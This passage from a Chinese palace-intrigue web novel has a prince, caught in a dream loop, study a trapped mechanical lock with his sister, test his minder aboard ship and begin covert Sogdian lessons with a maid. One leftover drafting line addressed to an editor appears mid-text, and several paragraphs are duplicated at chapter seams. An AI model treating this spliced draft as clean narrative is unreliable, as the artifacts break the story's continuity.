周灵薇抬起头,看向周昕阳,眸中光芒闪烁,既有对未知技术的强烈好奇,也有一丝面对巨大风险的迟疑。
天色刚亮,身处东宫案发现场,参与调查这等禁忌之物,一旦传出,后果不堪设想。
但桌上那件凝聚着惊人智慧的残锁,就像磁石般吸引着她。作为一名醉心杂学的研究者,她无法抗拒亲手触碰、解密这等旷世奇锁的诱惑。
良久,她深吸一口气,仿佛下定了决心,目光变得坚定而专注:“取纸笔来。另外,我需要更亮的光线,还有……一把最小号的镊子和探针。”
周昕阳心中大喜,立刻示意冷千嶂去准备。
很快,琉璃灯被移近,明亮的灯光聚焦在残锁上。周灵薇挽起袖口,露出纤细白皙的手腕,接过冷千嶂递来的工具,神情专注得如同最虔诚的工匠。
她不再多言,开始沿着周昕阳拼合的痕迹,一点点地检查、推敲。
“这里……这个偏心轮的安装角度不对,应该再偏转五度左右,否则无法带动下面的滑杆……”
“缺失的这个簧·片,弹力方向应是向上,用以顶住这个卡榫,形成第一道保险……”
“看这个断裂面,**前,这个齿轮应该是在这个相位被卡死的……触发点很可能与之关联……”
她时而喃喃自语,时而向周昕阳询问某个残片的原始位置和状态。周昕阳则根据记忆和二姐之前的理论讲解,尽力配合。
两人一个精于理论推演,一个拥有实战经验和模糊的直觉,竟配合得越来越默契。
在周灵薇的指点下,几个之前无法理解的联动关系豁然开朗!
那残缺的锁具,仿佛被注入了灵魂,其内部精妙而危险的运行逻辑,越来越清晰地呈现在周昕阳眼前。
原来如此……“鸢尾连环枢”的限位,是靠这个不起眼的凹槽和弹簧配合完成的……**的触发,竟然与主齿轮转过三又四分之一圈时,这个副齿轮的特定凹槽是否对准了撞针有关……
周昕阳心中狂澜涌动,之前许多模糊的猜测得到了证实,许多未知的盲区被点亮!
虽然锁芯最核心的密码序列依旧成谜,但其内部结构和保险机制的原理,他已洞悉了七七八八!
不知不觉,天色已大亮。
阳光透过窗棂,洒入满是焦糊味的偏殿。
周灵薇终于直起身,轻轻放下工具,揉了揉有些发酸的手腕,脸上带着疲惫,但眼中却闪烁着兴奋与满足的光芒。“妙……真是太妙了……”她轻声赞叹,“设计此锁者,真乃鬼才。老九,此锁虽残
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,但其蕴含的机巧,已远超我所阅任何典籍记载。”
“二姐,”周昕阳深深一揖,语气诚挚无比,“今日若无二姐,弟恐怕穷尽心力,也难以窥其门径。此恩,弟铭记五内!”
周灵薇摆了摆手,恢复了平日的温婉神色:“能亲眼得见、亲手触碰如此精妙之物,已是幸事。只是……”她看了一眼窗外,压低声音,“此地不宜久留,我也该回去了。今日之事……”
“二姐放心,”周昕阳立刻保证,“绝不会有第四人知晓细节。二姐只是应弟之请,前来鉴别一些古籍上相似的机关纹样罢了。”
周灵薇点了点头,不再多言,在周昕阳和冷千嶂的护送下,悄然离开了东宫。
送走二姐,周昕阳独自站在晨曦中的偏殿内,看着桌上那件在阳光下更显残破、却也仿佛凝聚了无尽智慧的锁具残骸,心中充满了前所未有的信心。
下一次……下一次入梦,我定能打开它!
现实的危机依旧迫在眉睫,但梦境循环的破解之钥,似乎已紧紧握在了手中。
而二姐周灵薇,这位深藏不露的机关术大家,已然在不知不觉中,成为了他破局计划中,最重要的一枚棋子。
好的,我们在此处加入一段周昕阳向二姐请教如何开启完好机关锁的关键对话。
送走二姐,周昕阳独自站在晨曦中的偏殿内,看着桌上那件在阳光下更显残破、却也仿佛凝聚了无尽智慧的锁具残骸,心中充满了前所未有的信心。
下一次……下一次入梦,我定能打开它!
现实的危机依旧迫在眉睫,但梦境循环的破解之钥,似乎已紧紧握在了手中。
而二姐周灵薇,这位深藏不露的机关术大家,已然在不知不觉中,成为了他破局计划中,最重要的一步。
就在周灵薇转身欲走,身影即将消失在殿门廊柱的阴影中时,周昕阳心中一动,一个至关重要的问题脱口而出:
“二姐,请留步!”
第96章 复原第四把锁(下)
周灵薇闻声驻足,回眸望来,眼中带着一丝询问。
周昕阳快步上前,压低了声音,语气带着前所未有的郑重与恳切:“二姐,经你指点,弟对此锁构造已明悟大半。但……弟仍有一事,如鲠在喉,百思难解。”他目光灼灼地看向周灵薇,“若……若此锁完好无损,并非眼前这般破碎模样。以二姐之见,该当如何着手,方能寻得那一线生机,将其安然开启?”
这个问题,才是他一切努力的核心!
破解残锁是为了理解原理,但最终目的,是要在梦境中,打开那把完好无损的、牵动着无数秘密的第四把锁!
周灵薇闻言,秀眉微蹙,没有立刻回答。
她沉吟了片刻,目光再次投向桌上那堆残骸,仿佛在脑海中将其还原成最初那件严丝合缝、机关算尽的完美造物。
晨光愈明,映照着她沉静的侧脸。
良久,她才缓缓开口,声音轻缓却清晰,每一个字都带着深思熟虑的分量:
“若锁完好……此法,难有定规,因锁钥唯一,全凭制锁者之心意。但万变不离其宗,或可依循几点,谨慎试探。”
她伸出纤指,虚空轻点,如同在描绘无形的锁芯结构:
“首先,需定其‘性’。此锁集机关之大成,绝非寻常簧·片结构。观其残骸中齿轮啮合之精密、卡榫联动之繁复,更像是一种‘序位锁’或‘相位锁’。开启之关键,恐非对应锁孔形状的实体钥匙,而在于……转动锁芯时,内部诸多机关达到特定序列、特定相位之组合。”
周昕阳屏息凝神,这也是困住他的关键之一,三十六万多种组合!
“其次,在于‘听’与‘感’。”周灵薇继续道,眼神锐利,“完好之锁,机括联动,必有细微之声、微弱之震。”
“指尖需极其敏锐,耳力需高度集中。每一次尝试性的拨动或旋转,都要仔细分辨其反馈——是顺畅空转?是遇到轻微阻力?还是传来机括咬合、但未至终点的‘咯噔’声?又或是……触发警戒机关前的、那极其细微的‘绷紧’感?”
她看向周昕阳,语气极其严肃:“尤其后者,乃是生死一线之预警!设计此锁者心思缜密,必有防窥探之机制。一旦感受到那种蓄势待发的‘绷紧’,必须立刻停止,并原路缓缓退回,绝不可强行尝试!”
周昕阳重重点头,这与他两次“炸箱”前那令人心悸的“滴滴”声和紧迫感不谋而合。
“最后,”周灵薇的声音压得更低,带着一种近乎直觉的推测,“便是‘大胆假设,小心求证’。基于我们对残骸的剖析,可知其核心在于几个关键齿轮的相位差和卡榫的先后启闭顺序。”
“或可先假设一个最简单的初始序列,比如,所有活动部件归于初始位,然后,尝试以最小幅度、最慢速度,逐一试探每个可能的活动方向,记录下每一次动作的反馈,绘制出局部的‘反应图’。”
她轻轻摇头,露出一丝无奈的苦笑:“然,此法如同盲人摸象,耗时极巨,且越到后期,组合越多,风险呈倍增长。”
“更何况,此锁必有防重复试探之机制,或许尝试次数过多,即便未有触发**,亦会永久锁死。故,若无制锁图谱,欲凭此法开启,无异于……沧海寻粟。”
周昕阳的心沉了下去,但随即又涌起一股不服输的倔强。二姐的分析,无疑为他指明了一条理论上可行的路径,尽管希望渺茫如星火。
“二姐,”他眼中闪烁着坚定的光芒,“若……若有机会,让二姐亲眼见到、亲手触碰那完好之锁,凭二姐的学识与敏锐,是否有望……找出那条生路?”
周灵薇微微一怔,看着周昕阳眼中那近乎执拗的期望,她沉默了片刻,最终轻轻叹了口气,语气带着学者面对未知挑战时的复杂心绪:“眼见实物,亲手感知,自与面对残骸推演不同。或能捕捉到图纸无法呈现的细微之处,感知到更多隐藏的‘语言’……但,依然无绝对把握。此锁之险,远超寻常。老九,你为何对此锁……执念如此之深?”
周昕阳避开二姐探究的目光,垂下眼帘,掩饰住眼底翻涌的情绪,低声道:“此锁背后,关乎甚大。弟……有不得不打开它的理由。”他再次拱手,深深一揖,“二姐今日之言,如拨云见日,弟感激不尽!他日若有机会,还需仰仗二姐慧眼。”
周灵薇深深看了他一眼,知他有所隐瞒,但也不再追问,只是轻轻颔首:“力所能及之处,我自当尽力。你好自为之。”说罢,转身悄然离去。
周昕阳站在原地,望着二姐离去的方向,心中波澜起伏。二姐的话,既指出了希望的曙光,也道尽了前路的艰险。但无论如何,他不再是那个只能在黑暗中盲目摸索、一次次用死亡换取零星信息的囚徒了。
他有了理论指导,有了更清晰的探查方向,更重要的是——他有了一位潜在的、强大的援手!
下一次……不仅要打开锁,更要设法,将二姐“带”进去!
这个念头,如同破晓的晨光,穿透了漫长黑夜的迷雾,照亮了他前行的道路。
他紧紧握住了拳,眼中闪烁着决然的光芒。
现实的棋局与梦境的迷局,在这一刻,因为二姐周灵薇的存在,前所未有地紧密交织在了一起。
而开启最终秘密的钥匙,似乎已触手可及。
周昕阳站在原地,望着二姐离去的方向,心中波澜起伏。
二姐的话语如同在黑暗的迷宫中点亮了一盏摇曳却坚定的灯盏,既照亮了前方蜿蜒曲折、危机四伏的路径,也让他更清晰地看到了那扇最终之门轮廓的森严与沉重。
希望与压力并存。
他紧紧握拳,指甲几乎要嵌进掌心,试图将方才与二姐研讨的每一个细节、每一种可能性更深地镌刻在记忆深处。
齿轮的啮合角度、簧·片的微弱反馈、卡榫的触发顺序……尤其是二姐最后提到的“听”与“感”,以及那生死一线的“绷紧”预警……这些宝贵的知识,必须带出去,带入下一个循环,带入那决定性的时刻。
就在这时,他下意识地伸手入怀,摸出了那枚精致的银壳怀表。表壳在渐亮的晨光下泛着温润的光泽。他“啪”地一声弹开表盖,目光落在表盘上——
指针不偏不倚,恰好指向【9:15】。
这个寻常的时刻,在此刻却仿佛带着某种宿命般的刻度。
就在他目光凝注在表盘上那细小的罗马数字和纤长指针的瞬间,异变陡生!
周遭的一切——偏殿的焦糊味、晨光的暖意、远处侍卫隐约的甲胄摩擦声、甚至他自己沉稳的心跳——都如同潮水般迅速退去,变得模糊、遥远、不真实起来。
视野开始扭曲、晃动,如同平静的水面被投入了一颗石子,漾开层层叠叠的涟漪。他感觉自己的意识正在被一股无形的力量从这具身体里轻柔地、却又不可抗拒地剥离出来。
就在这现实与虚幻的边界即将彻底模糊的刹那,他眼角的余光似乎捕捉到了一抹极其炫目、极其不真实的色彩。
在渐渐淡去的、如同褪色画卷般的东宫偏殿景象之上,在那张摆放着残破锁具的桌案旁,空气仿佛被无形之笔涂抹了一下,泛起梦幻般的光晕。
光晕流转间,一只蝴蝶的虚影,悄无声息地凝聚、浮现。
那并非世间任何一种已知的蝴蝶。它的翅膀硕大而朦胧,边缘仿佛融入了空气本身,呈现出一种不断变幻的、如梦似幻的瑰丽色彩,时而如朝霞浸染,时而如极光流转,时而又深邃如星空。
翅膀上仿佛有着天然形成的、复杂到极致的暗金色纹路,那些纹路……竟隐隐与他刚刚拼合研究的机关锁内部的某些齿
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轮轨迹有着惊人的神似!
蝴蝶轻轻扇动了一下翅膀,没有声音,却仿佛荡起了一圈圈空间的褶皱。它那双复眼,似乎跨越了真实与梦境的壁垒,静静地“看”了周昕阳一眼。
那一眼,空洞,却又仿佛蕴含了无穷的信息,像是怜悯,又像是漠然的注视。
周昕阳心中巨震,他想看得更清楚些,想抓住这诡异的、似乎连接着梦境本质的意象!但下一刻,更强的抽离感袭来——
“嗬!”
周昕阳猛地吸了一口气,身体不受控制地向上弹动了一下,仿佛溺水之人终于浮出水面。
眼前是熟悉的、随着江波微微起伏的木质舱顶。鼻腔里萦绕的不再是焦糊与硝烟味,而是墨蛟号船舱内特有的、混合了桐油、江水潮气和淡淡檀香的气息。
他的身下是随着波浪轻轻晃动的床榻,耳边是江水有节奏地拍打船体的“哗哗”声,以及船身龙骨在深夜寂静中发出的、更显清晰的“吱呀”声。
舱内一片漆黑,只有舷窗外透入的微弱月光,勾勒出家具模糊的轮廓。
他……回来了。
从那个惊心动魄、信息**的漫长梦境之夜,回到了现实,回到了凌晨3点15分的墨蛟号上。
周昕阳看着怀表上的时间,心中一片混乱。
他依旧躺在自己座舰墨蛟号那间陈设简洁却不失威严的舱室内。
舱外是深沉如墨的夜色,万籁俱寂,只有江水与船体的共鸣在黑暗中回响。整个房间随着船身在水波中轻轻起伏,提醒着他正身处浩渺而沉睡的云梦江心。
然而,梦境中发生的一切——手持金牌逼问皇后的雷霆手段、东宫偏殿的剧烈**、散落的巫蛊人偶、藏书馆内与二姐挑灯夜战的推演、还有最后那惊鸿一瞥、似真似幻的瑰丽蝶影……所有的一切,都如同刚刚亲身经历般,每一个细节都清晰无比、烙印般刻在他的脑海深处。
尤其是关于那把机关锁的崭新认知,以及二姐周灵薇那深不可测的机关术造诣!
周昕阳缓缓坐起身,靠在床头,微微闭上眼睛,努力平复着有些急促的呼吸和依旧激荡的心绪。
他抬起手,用力揉了揉眉心,指尖似乎还能感受到梦中触碰那些冰冷金属残片时的触感,耳边仿佛还回响着二姐冷静清晰的剖析。
现实中的铁箱,是否真的如梦中推测那般,因自己的干预而未出现?
现实中的二姐,是否真的拥有那般惊人的机关术知识?
更重要的是,他现在身处墨蛟号,正驶向京城,沈砚盯着自己,自己又该如何脱身?
这些问题,都需要解决……
但无论如何,这一次的梦境循环,收获远超以往!他不仅成功利用“炸箱”更深地窥探了锁具的秘密,更关键的是,找到了二姐这把可能开启最终谜题的“活钥匙”!
那只诡异的梦幻蝴蝶……又意味着什么?
是梦境循环的标识?
还是某种更深层秘密的暗示?
与这云梦大江,是否也有某种联系?
周昕阳在黑暗中睁开眼,眸中已恢复了平日的冷静与深邃,但比以往更多了一份锐利和成竹在胸的决断。
他掀开薄被,起身下床,脚步沉稳,并未因船身轻微的晃动和舱内的黑暗而有丝毫迟滞。
他摸索着点燃了床头小几上的油灯。
昏黄的灯光亮起,驱散了一小片黑暗,映照着他沉思的面容。
舷窗外,依旧是浓得化不开的夜色,墨蛟号正破开深夜的江雾,向着泽口堰方向悄然航行。
但周昕阳知道,对他而言,新一轮无声的战争,已经在梦境与现实的交错中打响。
“来人。”他对着舱门外,沉声唤道,声音穿透了江水拍打船体的声响。
“怎么?”
“王爷有什么吩咐吗?”
沈砚的声音从门外传来。
第97章 接连试探
周昕阳在黑暗中睁开眼,眸中已恢复了平日的冷静与深邃,但比以往更多了一份锐利和成竹在胸的决断。
他掀开薄被,起身下床,脚步沉稳,并未因船身轻微的晃动和舱内的黑暗而有丝毫迟滞。
他摸索着点燃了床头小几上的油灯。
昏黄的灯光亮起,驱散了一小片黑暗,映照着他沉思的面容。
舷窗外,依旧是浓得化不开的夜色,墨蛟号正破开深夜的江雾,向着未知的前方悄然航行。
周昕阳需要立刻评估现实状况,尤其是沈砚对自己的监控程度和态度。
“来人。”他对着舱门外,沉声唤道,声音穿透了江水拍打船体的声响。
门外几乎立刻传来细微的动静,仿佛有人一直守在门外。紧接着,是沈砚那特有的、带着一丝清冷与磁性的嗓音,听不出什么情绪:
“王爷有何吩咐?”
周昕阳心中冷笑,果然!沈砚亲自守在门外,或者说,他的人时刻监视着这里。
他脸上却不露分毫,反而带着一丝刚被惊醒、略带慵懒和随意地口吻说道:“沈大人?这么晚还在当值,辛苦了。”
他顿了顿,仿佛才想起自己的目的,语气自然地说道:“无甚大事,只是突然觉得有些腹中饥饿,想劳烦沈大人,让厨下弄些清淡的宵夜来,一碗鸡丝粥即可。”
这个要求,在凌晨三点多的江心孤舟上,显得颇为突兀,甚至有些不合时宜的放纵。
但这正是周昕阳想要的效果——一个看似随性、甚至有些任性的要求,最能试探出对方当下的容忍度和真实态度。
门外的沈砚沉默了一瞬。
这短暂的沉默,在寂静的凌晨时分,显得格外清晰。
周昕阳几乎能想象出沈砚那俊美·阴柔的脸上,此刻定然是眉头微蹙,心中快速权衡。
拒绝?
以什么理由?
泽川王只是要碗粥,并非什么过分要求,强硬拒绝反而显得刻意针对,容易激起反弹。
同意?
又似乎太顺着这位“囚犯”了,有损监控的威严。
然而,这沉默只持续了短短两三息。
随即,沈砚的声音再次响起,依旧平稳无波,听不出丝毫不悦或为难:“王爷稍候,属下这便去安排。”
他竟然答应了!
而且答应得如此干脆,没有一丝迟疑或推诿!
周昕阳目光微闪。沈砚如此爽快,只有两种可能:要么是他觉得自己完全在掌控之中,不介意在这种小事上稍作让步,以示宽容,麻痹自己;要么就是他接到了某种指令,在非原则性问题上,对自己暂时采取怀柔策略。
无论是哪种,都说明目前阶段,沈砚并不打算在明面上与自己撕破脸,甚至愿意维持一种表面上的恭敬。
这对他接下来的行动,是一个有利的信号。
“有劳沈大人了。”周昕阳语气如常,仿佛这真的只是一个无足轻重的要求。
门外传来沈砚离去的轻微脚步声。
周昕阳重新坐回床边,指尖轻轻敲击着膝盖,脑中飞速思考。沈砚的态度,印证了他的部分猜测。
老二暂时还不想彻底逼反他,或者说,还想从他身上得到些什么?
比如,关于铁箱的秘密?
或者,只是想平稳地将他请回京城,再行处置?
无论如何,这给了他一定的周旋空间和时间。
他需要利用好这段时间,尽快验证梦境中获得的信息,尤其是关于二姐周灵薇机关术造诣的部分。
如果二姐在现实中真的拥有那般学识,那将是他在京城那盘错综复杂的棋局中,一枚极其重要的棋子。
约莫过了一炷香的功夫,舱门外再次响起脚步声,这次略显杂乱,除了沈砚,还有其他人。
“王爷,宵夜到了。”是沈砚的声音。
“进来。”
舱门被推开,沈砚率先走入,身后跟着一名低着头、双手捧着一个红木托盘的小内侍。
托盘上放着一个青花瓷盖碗,碗盖边缘逸出丝丝热气,带着鸡丝粥特有的清香。
沈砚的目光快速扫过舱内,在周昕阳平静的脸上停留了一瞬,见其并无异状,才侧身让开。那小内**托盘轻轻放在床头小几上,便躬身退到门外等候。
“王爷请慢用。”沈砚淡淡道,似乎没有立刻离开的意思。
周昕阳也不在意,伸手揭开碗盖,拿起瓷勺,慢条斯理地搅动着温热的粥。粥熬得火候正好,米粒开花,鸡丝纤细,点缀着几点翠绿的葱花,香气扑鼻。
他舀起一勺,轻轻吹了吹,送入口中。味道清淡鲜香,正是他平素喜欢的口味。看来墨蛟号上的厨子并没有更换,还是往常的味道。
周昕阳一边不紧不慢地吃着粥,一边状似无意地开口,打破了舱内的沉默:“沈大人,我们如今到了何处?距泽口堰还有几日行程?”
他问的是行程,实则是在试探沈砚接下来的安排和意图。
沈砚站在一旁,身形挺拔如松,声音平稳地回答:“回王爷,船行顺利,若天气无碍,预计二日后的傍晚便可抵达泽口堰。”
“接下来就要换乘马匹,进入河洛平原……”
两日后的傍晚……周昕阳心中计算着时间。到了泽口堰,是直接换乘马匹北上京城,还是会在渡口稍作停留?
“嗯。”周昕阳应了一声,继续喝粥,不再多问,仿佛真的只是随口一问。
他吃得并不快,一碗粥见了底,才放下勺子,用旁边的软巾擦了擦嘴角。
“味道不错。”周昕阳语气随意,目光却看向沈砚,“沈大人也辛苦了,下去歇息吧,本王用完,也要安寝了。”
他这是在示意沈砚可以离开了,同时表明自己会老实地待在舱内。
沈砚深深看了周昕阳一眼,似乎想从他平静的脸上看出些什么,但最终只是微微颔首:“是,王爷安寝,属下告退。门外有人值守,王爷若有任何需要,随时吩咐即可。”
这话听着恭敬,实则是提醒周昕阳,他仍在严密监控之下。
周昕阳仿佛没听出弦外之音,只是点了点头,便起身走向床榻。
沈砚不再多言,挥手示意那小内侍收拾碗碟,自己则转身退出了舱房,并轻轻带上了房门。
就在这时,周昕阳突然叫住了沈砚。
“等等!”
沈砚推门的动作顿住,缓缓转过身。
舱内昏暗的灯光映照着他那张俊美却透着阴柔冷冽的面容,他微微蹙起的眉头,看向周昕阳,眼中审视一闪而过:“王爷还有何吩咐?”
周昕阳脸上那点随意的笑容收敛了,取而代之的是一种不容置疑的平静。他不再迂回,直接以通知的口吻说道:“还有一事。离港前,孤已同萨迪克商会的管事说定,明日让他们商队里那个叫阿月的婢女上船来。”
他语气平淡,却带着一股自然流露的威势,仿佛这是理所当然的安排,无需与他人商议。
“孤近日对西域诸国风土人情颇有兴致,正好借此行船闲暇,让她教**些简单的粟特语,打发时间。”周昕阳目光直视沈砚,补充道,语气里没有丝毫商量的余地,更像是告知一个既成事实。“此事已定,你安排一下,明日准时接人上船即可。”
这番说辞,完全改变了性质。
从之前的“商量”或“请求”,变成了“王爷已自行决定并安排妥当,只需你执行”的命令。
这不仅试探沈砚的服从度,更是直接挑战其监控权限——他周昕阳即使在此境地下,依然能自行与外界约定事宜。
门外的沈砚,眉头蹙得更紧了些。
周昕阳能清晰地看到他脸上掠过一丝极淡的讶异和迅速沉淀下去的冷意。
显然,周昕阳这种越过他直接与
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外界联系、并且以命令姿态安排人员上船的行为,出乎了他的意料,也触及了监控的核心。
“王爷,”沈砚的声音依旧平稳,但细微处透出一丝冷硬,“墨蛟号乃王爷座舰,规制严谨。让一商贾婢女登船,恐与礼制不合。况且,那阿月毕竟是西域胡商带来之人,背景未明,让其近身王爷,安危之事,属下不得不慎。”
他还是抬出了“礼制”和“安全”这两道挡箭牌,但语气已不似先前应对宵夜时那般留有转圜余地,带着明显的抵触。
周昕阳闻言,嘴角勾起一抹几不可察的冷笑。他早就料到沈砚会以此为由阻拦。
“礼制?”周昕阳语气带着一丝淡淡的嘲讽,“孤在自家船上,见一个教授语言的婢女,有何不合礼制?莫非沈大人觉得,孤连这点小事都做不得主了?”
他先以身份压人,随即话锋一转,目光锐利地看向沈砚:“至于安危……沈大人是觉得你麾下的宸察卫如此无能,连一个手无寸铁的婢女都防不住?还是觉得,与朝廷合作多年的萨迪克商会,竟敢派刺客登孤的船?”
他再次将问题反抛回去,语气强硬,步步紧逼。
沈砚的面色在灯光下更显冷白,他沉默着,那双深邃的眼眸与周昕阳对视,似乎在衡量着强硬拒绝的后果。舱内的空气仿佛凝固了。
片刻后,沈砚似乎权衡完毕,他微微吸了口气,语气恢复了那种平板无波的腔调,但做出了让步,不过附加了严格的限制:“王爷言重了。既然王爷已与商会有所约定,属下自当安排。”
他刻意强调了“已有所约定”这点,暗示周昕阳适可而止。
“不过,”沈砚话锋一转,条件紧随而至,“为周全计,需依例行事。那婢女登船后,活动范围仅限于前甲板指定区域,不得进入内舱。”
“王爷若需问话教学,亦需在宸察卫陪同之下,于前甲板进行,并需限定时辰。此乃为王爷安全与朝廷体统计,望王爷体谅。”
依旧是限制区域、限制条件、限制时间。
这几乎是监控的底线了。
周昕阳听罢,脸上没什么表情,既未显欣喜,也未露不满,只是淡淡地“嗯”了一声,仿佛接受了这个条件,又仿佛浑不在意。
他知道,这已是目前情况下能争取到的最好结果,至少获得了与阿月接触的机会。
“既如此,便按你说的办吧。明日巳时,接人上船。”周昕阳挥了挥手,语气恢复了淡漠,“下去安排吧,孤要安歇了。”
他不再多看沈砚一眼,转身走向床榻,姿态闲适地躺下,闭上了眼睛。
这番姿态,俨然一副事情已定、无需多言的模样。
沈砚站在原地,看着周昕阳的背影,目光深沉难辨。
周昕阳今晚接连的举动——深夜索食,尤其是方才直接通知而非商量阿月上船一事,都透着一股不同寻常的主动和试探。
这与他之前表现出的顺从或沉默有所不同。
“是,属下告退。”沈砚最终什么也没多说,只是沉声应道,随即轻轻拉开舱门,退了出去,并将房门严密带上。
舱内重归寂静。
周昕阳睁开眼,眼中一片清明,毫无睡意。
沈砚最后的让步和限制,都在他的预料之中。
虽然接触条件苛刻,但重要的是,他成功地向沈砚传递了一个信号:他并非完全被动,他仍有自己的行动力和影响力。
同时,他也确认了与阿月接触的可能性,哪怕是在严密监控下。
“巳时……前甲板……”周昕阳在心中默念。明日,将是他验证某些信息、并尝试走出下一步棋的开始。沈砚的警惕,反而说明他的举动已经引起了对方的注意和压力。
他重新合上眼,脑海中开始细细谋划明日的会面。墨蛟号在夜色中破浪前行,而船上的暗流,已然开始涌动。
第98章 婢女阿月
舱内重归寂静,只余油灯灯芯偶尔爆开的轻微噼啪声,和舷窗外永恒的水流声。
周昕阳睁开眼,眼中一片清明,毫无睡意。他并未立刻起身,而是依旧保持着躺卧的姿势,在脑中细细复盘方才与沈砚的交锋。
沈砚最后的让步,看似在他的强硬态度下达成,但那些严苛的限制条件,前甲板、宸察卫陪同、限定时辰——无一不表明,对方依然牢牢掌控着局面。
这更像是一种有限的许可,既暂时满足了他这个王爷的表面需求,维护了基本的体面,又将所有接触置于严密的监控之下。
“巳时……前甲板……”周昕阳在心中默念着这几个关键词。时间、地点都已确定,这意味着他必须在这有限的框架内,达成自己的目的。
明日与阿月的会面,绝非一时兴起。其目的有二,一明一暗,相辅相成。
其一,是明面上的学习。周昕阳深知,西域诸国地处要冲,商路纵横,情报往来频繁,其语言不仅是沟通工具,更是了解其文化、习俗、乃至各方势力动向的钥匙。
正所谓“知己知彼,百战不殆”。他虽贵为亲王,但对西域的了解多限于典籍和奏报,若能掌握其语言,无异于多了一双窥探西陲风云的眼睛。
未来无论是对外邦交,还是应对可能涉及西域的朝堂纷争,这门技艺都可能成为出其不意的筹码。
学习粟特语乃至其他西域方言,是提升自身实力、拓宽视野的必要投资。
这个理由光明正大,足以解释他为何对一个婢女的教学如此上心。
其二,则是暗地里的试探与布局。这才是他真正的核心意图。
阿月来自萨迪克商会,而萨迪克商会作为西域有名的大商号,足迹遍布丝路,消息之灵通,有时甚至超过官方驿道。
他需要判断,阿月此人是否可靠,能否成为一条极其隐秘的信息渠道。
他目前身处囚笼般的境地,与外界联系几乎被沈砚切断,急需一个能够传递消息或获取外界情报的窗口。
哪怕只是将一则简短的讯息、一个特定的信号传递出去,或者从阿月口中听到一些关于京城动向、关于二姐周灵薇近况、乃至关于西域最新形势的零星信息,都可能成为他破局的关键。
这步棋风险极大,如同在刀尖上跳舞,在沈砚锐利的目光下进行任何非常规的交流,都可能招致灭顶之灾。但险中求胜,是他目前唯一的出路。
他需要一套精密的策略。
首先,对于学习而言,他必须表现得像一位真正渴望知识的学子。从最基本的问候语、数字、日常用语学起,态度要认真,甚至可以有意识地犯些无伤大雅的小错误,展现出一个初学者应有的笨拙和求知欲。
这个过程要自然流畅,既能有效学习,又能完美掩饰其真实意图,麻痹在场的监视者。或许,还可以借探讨语言之机,顺便问及一些西域风土人情、商路见闻,为更深层次的试探做铺垫。
其次就是情报传递,这是难点,也是关键。
他不能直接言明,必须借助隐语、双关、或是看似随意的闲聊,将信息编码其中。
他需要设计一套只有特定接收者才能理解的暗号系统。例如,是否可以借询问西域奇珍异宝之名,暗指某些关键物品或人物?
是否可以借讨论商队路线,隐喻信息传递的路径?甚至,是否可以假借对某种西域机关巧物的好奇,来旁敲侧击,询问关于墨家机关城遗址的情况……
每一次对话,每一个眼神,都需经过精心设计,既要达到目的,又不能留下任何把柄。
风险与机遇并存。
阿月未必能领会暗示,即便领会,也未必敢或愿配合。更可怕的是,若她是沈砚安排的诱饵,那这便是请君入瓮的死局。
但周昕阳别无选择。
他必须利用一切可能的机会,撬开这密不透风的牢笼。
明日的会面,是投石问路,是火力侦察。
首要目标是评估阿月的可用性和安全性,其次才是尝试建立联系。
他深吸一口气,压下心中的躁动与忐忑。
不能急,必须如履薄冰,耐心周旋。若时机不成熟,宁可放弃这次机会,也绝不能
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打草惊蛇。
思绪渐定,周昕阳坐起身,重新挑亮了油灯。
他走到书案前,并未蘸墨书写,只是用手指蘸了杯中冷水,在光洁的纸面上无声地勾勒着几个关键的粟特语字符发音,以及几个可能用于试探的、看似寻常的问题。水迹很快干涸,不留痕迹。
他在脑中反复推演着明日可能出现的各种情景,预演着对话,思考着应对。
直到窗外天色微熹,江雾渐散,他才吹熄灯,和衣躺下,闭目养神。
晨光透入舷窗时,周昕阳已然起身,神情平静,目光深邃。
他知道,一场在阳光下的、看似寻常却暗藏玄机的较量,即将开始。
……
当辰时末刻的钟声隐约传来时,周昕阳已整理好衣袍,神情自若地拉开了舱门。
沈砚如约而至。
“王爷,阿月姑娘已在舷梯下等候。”
“走吧。”周昕阳淡淡说道,迈向船头甲板的脚步沉稳而坚定。
前甲板上,江风凛冽,布局严整。
阿月垂首而立,轻纱遮颜。
沈砚与宸察卫如影随形。
“开始吧。”周昕阳坐下,对阿月说道,语气平和,带着恰到好处的好奇,“孤对粟特语颇感兴趣,今日便从最简单的问候和数字开始学起,如何?”
教学伊始,周昕阳便全神贯注,模仿发音一丝不苟,提问也围绕着语言本身,俨然一位勤勉的学生。
然而,在他看似专注的学习之下,一场精心策划的试探,正悄然拉开序幕。
……
前甲板上,江风凛冽,吹得人衣袂翻飞。
阳光洒在光洁的甲板上,有些刺眼。
周昕阳端坐主位,沈砚坐在侧方稍后的位置,两名宸察卫如铁塔般矗立在他与阿月身后,目光如炬,不留任何死角。
阿月垂首站在桌案对面,轻纱遮面,只露出一双低垂的眼眸,姿态谦卑恭顺。
“开始吧。”周昕阳语气平和,目光落在阿月身上,带着恰到好处的好奇,“孤对粟特语颇感兴趣,今日便从最简单的问候和数字开始学起,如何?”
第99章 教导粟特语
“是,王爷。”阿月的声音透过面纱传来,带着异域口音,但吐字清晰。她微微抬眸,快速看了周昕阳一眼,又迅速低下,开始用粟特语缓缓说出最基本的问候语:“愿晨光赐您安宁……(粟特语)”
周昕阳凝神细听,然后模仿着她的发音,一字一顿地重复。他刻意在某个音调上略显生涩,微微蹙眉,仿佛在努力纠正,展现出一个初学者应有的认真和些许笨拙。
“嗯……这个尾音,似乎要再轻一些?”周昕阳请教道,态度诚恳。
“王爷天资聪颖,一点即通。”阿月适时地奉承一句,然后耐心地纠正发音细节。
教学就这样按部就班地进行着。从问候语到数字一到十,周昕阳学得很投入,不时提问,问题也都围绕着语言本身,比如某个词在不同情境下的微妙差异,或是粟特语中是否有类似中原的谚语俗话。
沈砚安静地坐在一旁,面容冷峻,目光大部分时间落在周昕阳和阿月之间,偶尔也会扫过波光粼粼的江面,看似在警戒四周,但周昕阳能感觉到,那股无形的注意力始终牢牢锁定着这场教学的核心。
约莫过了两刻钟,基本的问候和数字教学告一段落。周昕阳端起旁边小几上宸察卫备好的清茶,呷了一口,看似随意地放松一下,实则是在寻找切入更深层次话题的契机。
“这粟特语倒也有趣,”周昕阳放下茶盏,语气轻松,如同闲谈,“听闻西域商路繁华,各族语言交汇,想必除了粟特语,还有其他流传颇广的方言吧?”
“回王爷,确是如此。”阿月恭敬回答,“如吐火罗语、于阗语、甚至更西边的大食语,在商路上都常能听到。”
